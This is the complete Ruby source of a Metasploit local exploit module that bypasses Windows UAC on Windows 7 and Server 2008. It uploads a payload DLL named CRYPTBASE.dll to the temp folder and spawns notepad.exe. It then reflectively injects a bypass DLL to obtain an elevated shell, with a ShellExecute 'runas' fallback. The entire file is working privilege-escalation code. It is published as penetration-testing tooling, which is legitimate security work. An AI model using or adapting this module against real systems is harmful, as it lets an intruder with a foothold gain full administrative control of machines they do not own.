##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/exe'

class Metasploit3 < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Exploit::EXE
  include Post::File
  include Post::Windows::Priv
  include Post::Windows::ReflectiveDLLInjection

  def initialize(info={})
    super( update_info( info,
      'Name'          => 'Windows Escalate UAC Protection Bypass (In Memory Injection)',
      'Description'   => %q{
        This module will bypass Windows UAC by utilizing the trusted publisher
        certificate through process injection. It will spawn a second shell that
        has the UAC flag turned off. This module uses the Reflective DLL Injection
        technique to drop only the DLL payload binary instead of three seperate
        binaries in the standard technique. However, it requires the correct
        architecture to be selected, (use x64 for SYSWOW64 systems also).
        If specifying EXE::Custom your DLL should call ExitProcess() after starting
        your payload in a seperate process.
      },
      'License'       => MSF_LICENSE,
      'Author'        => [
          'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
          'mitnick',
          'mubix', # Port to local exploit
          'Ben Campbell' # In memory technique
        ],
      'Platform'      => [ 'win' ],
      'SessionTypes'  => [ 'meterpreter' ],
      'Targets'       => [
          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
          [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
      ],
      'DefaultTarget' => 0,
      'References'    => [
        [
          'URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/',
          'URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html'
        ]
      ],
      'DisclosureDate'=> "Dec 31 2010"
    ))

  end

  def bypass_dll_path
    # path to the bypassuac binary
    path = ::File.join(Msf::Config.data_directory, "post")

    # decide, x86 or x64
    sysarch = sysinfo["Architecture"]
    if sysarch =~ /x64/i
      unless(target_arch.first =~ /64/i) and (payload_instance.arch.first =~ /64/i)
        fail_with(
            Exploit::Failure::BadConfig,
            "x86 Target Selected for x64 System"
        )
      end

      if sysarch =~ /WOW64/i
        return ::File.join(path, "bypassuac-x86.dll")
      else
        return ::File.join(path, "bypassuac-x64.dll")
      end
    else
      if (target_arch.first =~ /64/i) or (payload_instance.arch.first =~ /64/i)
        fail_with(
            Exploit::Failure::BadConfig,
            "x64 Target Selected for x86 System"
        )
      end

      ::File.join(path, "bypassuac-x86.dll")
    end
  end



  def check_permissions!
    # Check if you are an admin
    vprint_status('Checking admin status...')
    admin_group = is_in_admin_group?

    if admin_group.nil?
      print_error('Either whoami is not there or failed to execute')
      print_error('Continuing under assumption you already checked...')
    else
      if admin_group
        print_good('Part of Administrators group! Continuing...')
      else
        fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
      end
    end

    if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
      fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level")
    end
  end



  def exploit
    validate_environment!

    case get_uac_level
      when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
        fail_with(Exploit::Failure::NotVulnerable,
                  "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
        )
      when UAC_DEFAULT
        print_good "UAC is set to Default"
        print_good "BypassUAC can bypass this setting, continuing..."
      when UAC_NO_PROMPT
        print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
        runas_method
        return
    end

    check_permissions!

    @temp_path = expand_path('%TEMP%').strip

    upload_payload_dll!

    pid = spawn_inject_proc

    run_injection(pid, bypass_dll_path)

    # delete the uac bypass payload
    vprint_status("Cleaning up payload file...")
    file_rm(payload_filepath)
  end


  def payload_filepath
    "#{@temp_path}\\CRYPTBASE.dll"
  end



  def runas_method
    payload = generate_payload_exe
    payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
    tmpdir = expand_path("%TEMP%")
    tempexe = tmpdir + "\\" + payload_filename
    write_file(tempexe, payload)
    print_status("Uploading payload: #{tempexe}")
    session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5)
    print_status("Payload executed")
  end




  def run_injection(pid, dll_path)
    vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")
    begin
      vprint_status("Opening process #{pid}")
      host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
      exploit_mem, offset = inject_dll_into_process(host_process, dll_path)
      vprint_status("Executing payload")
      thread = host_process.thread.create(exploit_mem + offset, 0)
      print_good("Successfully injected payload in to process: #{pid}")
      client.railgun.kernel32.WaitForSingleObject(thread.handle,14000)
    rescue Rex::Post::Meterpreter::RequestError => e
      print_error("Failed to Inject Payload to #{pid}!")
      vprint_error(e.to_s)
    end
  end



  def spawn_inject_proc
    windir = expand_path("%WINDIR%").strip
    print_status("Spawning process with Windows Publisher Certificate, to inject into...")
    cmd = "#{windir}\\System32\\notepad.exe"
    pid = cmd_exec_get_pid(cmd)

    unless pid
      fail_with(Exploit::Failure::Unknown, "Spawning Process failed...")
    end

    pid
  end



  def upload_payload_dll!
    payload = generate_payload_dll({:dll_exitprocess => true})
    print_status("Uploading the Payload DLL to the filesystem...")
    begin
      vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
      write_file(payload_filepath, payload)
    rescue Rex::Post::Meterpreter::RequestError => e
      fail_with(
          Exploit::Exception::Unknown,
          "Error uploading file #{payload_filepath}: #{e.class} #{e}"
      )
    end
  end




  def validate_environment!
    fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? or is_system?

    winver = sysinfo["OS"]

    unless winver =~ /Windows 2008|Windows [7]/
      fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
    end

    if is_uac_enabled?
      print_status "UAC is Enabled, checking level..."
    else
      if is_in_admin_group?
        fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...")
      else
        fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
      end
    end
  end

end